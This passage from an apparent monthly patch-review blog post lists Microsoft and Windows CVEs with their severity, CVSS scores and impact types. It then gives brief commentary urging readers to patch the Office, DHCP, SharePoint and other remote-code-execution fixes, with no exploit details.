EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 